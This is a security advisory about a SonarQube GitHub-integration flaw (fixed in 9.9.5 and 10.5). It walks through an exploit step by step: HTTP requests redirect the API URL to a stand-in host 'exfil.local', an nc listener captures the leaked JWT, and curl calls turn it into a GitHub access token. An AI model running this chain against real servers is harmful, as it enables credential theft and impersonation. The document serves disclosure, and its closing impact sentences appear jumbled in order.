SonarQube - GitHub integration information leakage
08/10/2024 - Download
Product
SonarQube
Severity
Medium
Fixed Version(s)
9.9.5 and 10.5
Affected Version(s)
< 9.9.5 and < 10.5
CVE Number
Authors
Description
Presentation
SonarQube, developed by Sonar, is a self-managed, automatic code review tool that systematically helps delivering clean code. As a core element of the Sonar solution, SonarQube integrates into existing workflows and detects issues in source code to help performing continuous code inspections of projects. The product analyses 30+ different programming languages and integrates into Continuous Integration (CI) pipelines of DevOps platforms to ensure that code meets high-quality standards.
Issue(s)
The DevOps integration plugin for GitHub allows exfiltrating a pre-signed JWT that can be reused to impersonate the GitHub application on the GitHub API.
Timeline
Date | Description |
---|---|
2024.02.20 | Advisory sent to Sonar |
2024.03.26 | Sonar confirms the vulnerability |
2024.04.26 | Versions 9.9.5 and 10.5 released |
2024.10.07 | Public release |
Technical details
Description
From the SonarQube administration panel, the DevOps Platform Integration for GitHub page allows modifying the GitHub API's URL of an existing configuration.
This URL can also be modified by sending a request to the /api/alm_settings/update_github
endpoint:
POST /api/alm_settings/update_github HTTP/1.1
Host: sonarqube.local
Content-Type: application/x-www-form-urlencoded
Cookie: XSRF-TOKEN=[...]; JWT-SESSION=[...]
X-XSRF-TOKEN: [...]
Content-Length: [...]
newKey=SampleConfigurationName&key=SampleConfigurationName&url=http://exfil.local:8080/api/v3&appId=[APP_ID]&clientId=[CLIENT_ID]
When the API URL is modified, the client secret and the associated private key are not revoked. As a result, a pre-signed JWT will be issued on the first request targeting the new API URL. This request can be triggered by clicking the Check configuration
button, or by sending the following request to SonarQube:
GET /api/alm_settings/validate?key=SampleConfigurationName HTTP/1.1
Host: sonarqube.local
Cookie: XSRF-TOKEN=[...]; JWT-SESSION=[...]
X-XSRF-TOKEN: [...]
Once triggered, a request including the pre-signed JWT in the Authorization
header is received:
$ nc -nlp 8080
GET /api/v3/app HTTP/1.1
Authorization: Bearer eyJra[...]2In0.eyJpc3MiOiIzNjc3MjYiLCJleHAiOjE3MDYwMTA4MTYsImlhdCI6MTcwNjAxMDI3Nn0.hd50[...]k6_w
X-GitHub-Api-Version: 2022-11-28
Host: exfil.local
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/4.10.0
This JWT can be reused on the GitHub API to obtain an ephemeral token. First, the installation ID needs to be retrieved:
$ curl https://api.github.com/app/installations \
-H "Accept: application/vnd.github+json" \
-H 'User-Agent: okhttp/4.10.0' \
-H "X-GitHub-Api-Version: 2022-11-28" \
-H "Authorization: Bearer eyJra[...]m6A" -s | jq -r '.[].id'
40109999
Then, an ephemeral access token can be requested for this installation:
$ curl https://api.github.com/app/installations/40109999/access_tokens -X POST -L \
-H "Accept: application/vnd.github+json" \
-H 'User-Agent: okhttp/4.10.0' \
-H "X-GitHub-Api-Version: 2022-11-28" \
-H "Authorization: Bearer eyJraW[...]6A"
{"token":"ghs_[...]","expires_at":"2024-01-23T13:04:30Z","permissions":{"checks":"write","contents":"read","pull_requests":"write",[...]},"repository_selection":"all"}
Finally, this ghs_
access token can be used on the GitHub REST API with the granted privileges.
Impact
the documentation, the GitHub application installation configured for SonarQube is usually granted read privileges over the content of all the organization's repositories, and write privileges over checks and pull requests.
the altered API URL. This exfiltrated token can then be reused to impersonate the GitHub application installation on the GitHub API to obtain privileges over the GitHub organization. As stated in